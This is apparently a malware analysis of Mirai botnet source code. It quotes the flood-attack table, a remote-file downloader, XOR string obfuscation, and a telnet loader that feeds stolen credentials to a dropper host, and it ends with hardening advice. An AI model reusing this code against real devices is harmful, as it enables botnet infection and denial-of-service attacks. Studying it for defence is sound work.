var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo { "udp": AttackInfo { 0, []uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 }, "UDP flood", }, "vse": AttackInfo { 1, []uint8 { 2, 3, 4, 5, 6, 7 }, "Valve source engine specific flood", }, "dns": AttackInfo { 2, []uint8 { 2, 3, 4, 5, 6, 7, 8, 9 }, "DNS resolver flood using the targets domain, input IP is ignored", }, "syn": AttackInfo { 3, []uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 }, "SYN flood", }, ……
tools Folder
Single_Load.c That Loads Files
Wget.c That Obtains Remote Files
write(sfd, "GET ", 4); write(sfd, args[2], strlen(args[2])); write(sfd, " HTTP/1.1\r\n", 11); write(sfd, "Host: ", 6); write(sfd, args[3], strlen(args[3])); write(sfd, "\r\nConnection: close\r\n\r\n", 23); …… while (1) { int ret = read(sfd, recvbuf, sizeof (recvbuf)); if (ret <= 0) break; write(ffd, recvbuf, ret); }
Nogdb.c That Updates File Information
printf(".: Elf corrupt :.\n"); if(argc < 2){ printf("Usage: %s file", argv[0]); return 1; }
Badbot.c That Displays Information of a Specified Bot
int main(int argc, char **args) { printf("REPORT %s:%s\n", "127.0.0.1", "80"); while (1) sleep(1); return 0; }
Enc.c
Usage: %s <string | ip | uint32 | uint16 | uint8 | bool> <data>
XOR algorithm:
void *x(void *_buf, int len) { unsigned char *buf = (char *)_buf, *out = malloc(len); int i; uint8_t k1 = table_key & 0xff, k2 = (table_key >> 8) & 0xff, k3 = (table_key >> 16) & 0xff, k4 = (table_key >> 24) & 0xff; for (i = 0; i < len; i++) { char tmp = buf[i] ^ k1; tmp ^= k2; tmp ^= k3; tmp ^= k4; out[i] = tmp; } return out; }
loader Folder
The code in this folder serves to create a server and monitor the status of connections.
if (!binary_init()) { printf("Failed to load bins/dlr.* as dropper\n"); return 1; } /* wget address tftp address */ if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) { printf("Failed to initialize server. Aborting\n"); return 1; } pthread_create(&stats_thrd, NULL, stats_thread, NULL); // Read from stdin while (TRUE) { char strbuf[1024]; if (fgets(strbuf, sizeof (strbuf), stdin) == NULL) break; util_trim(strbuf); if (strlen(strbuf) == 0) { usleep(10000); continue; } memset(&info, 0, sizeof(struct telnet_info)); if (telnet_info_parse(strbuf, &info) == NULL) printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf); else { if (srv == NULL) printf("srv == NULL 2\n"); server_queue_telnet(srv, &info); if (total++ % 1000 == 0) sleep(1); } ATOMIC_INC(&srv->total_input); } printf("Hit end of input.\n"); while(ATOMIC_GET(&srv->curr_open) > 0) sleep(1); return 0; }
Workarounds
Mirai mainly targets devices with Linux as the operating system and busybox installed. To protect against this malware, we recommend the following workarounds:
- Enhance security of user names and passwords by changing initial passwords and weak passwords.
- Disable port 48101.
- Disable Telnet connections that use port 23.
- Restrict the use of busybox to specific users.